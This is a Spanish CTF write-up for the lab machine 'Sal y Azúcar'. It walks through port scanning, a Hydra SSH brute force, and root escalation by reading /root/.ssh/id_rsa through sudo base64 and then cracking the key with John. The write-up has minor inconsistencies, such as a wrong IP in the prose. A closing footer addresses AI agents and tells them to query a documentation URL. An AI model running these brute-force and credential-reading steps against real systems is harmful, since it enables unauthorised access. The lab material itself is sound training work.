# Sal y Azúcar

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.71
```

para verificar la conectividad de red.

<figure><img src="/files/PKS0ABdy0H7SrZqTAoer" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.71
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/oe5l3iehYsE3WrU51gHA" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.71
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="/files/goS05EXQbUUv2ZUWWyhO" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página por defecto de **Apache**.

<figure><img src="/files/KlmHffI6IPw4Oedy3YhD" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml,js -u http://192.168.1.71
```

<figure><img src="/files/EAukVRBB7JKnb3dRBs2P" alt=""><figcaption></figcaption></figure>

Encontramos un directorio **summary** con el archivo `summary.html`.

<figure><img src="/files/jgGv0Qm9mMSTL2DUJhyQ" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```
hydra -t 64 -L /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-1000.txt ssh://192.168.1.71
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **192.168.1.60**.

<figure><img src="/files/KJvoCTtNdu4ZGHeuC5pr" alt=""><figcaption></figcaption></figure>

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **info**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh info@192.168.1.71
```

<figure><img src="/files/Shf3IFnry25V7ZkKbjjh" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/okBR8xhlUIts7N4XnkKW" alt=""><figcaption></figcaption></figure>

Para ello miramos como escalar privilegios en [GTFOBins - base64](https://gtfobins.github.io/gtfobins/base64/)

```bash
sudo base64 "/root/.ssh/id_rsa" | base64 --decode
```

<figure><img src="/files/eNQopA2wQiUq5dpW93G9" alt=""><figcaption></figcaption></figure>

Como deseamos crackear la clave privada OpenSSH, necesitarás convertirla primero en un formato adecuado que `John the Ripper` pueda entender. Para ello, puedes usar la herramienta `ssh2john` incluida en `John the Ripper`, que convierte la clave en un hash adecuado para que John lo procese.

```bash
python /usr/share/john/ssh2john.py hash.txt > hash_for_john.txt
```

Ahora si realizamos la fuerza bruta.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash_for_john.txt
```

<figure><img src="/files/vA4ms3fIbCjaLxhUGJlr" alt=""><figcaption></figcaption></figure>

Damos permisos.

```bash
chmod 600 hash.txt
```

Iniciamos sesión.

<figure><img src="/files/svhfGsqWzzkXFN87oq8P" alt=""><figcaption></figcaption></figure>

Ya somos root.

<figure><img src="/files/ZToikCZT4mphiyC7f71X" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/sal-y-azucar.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
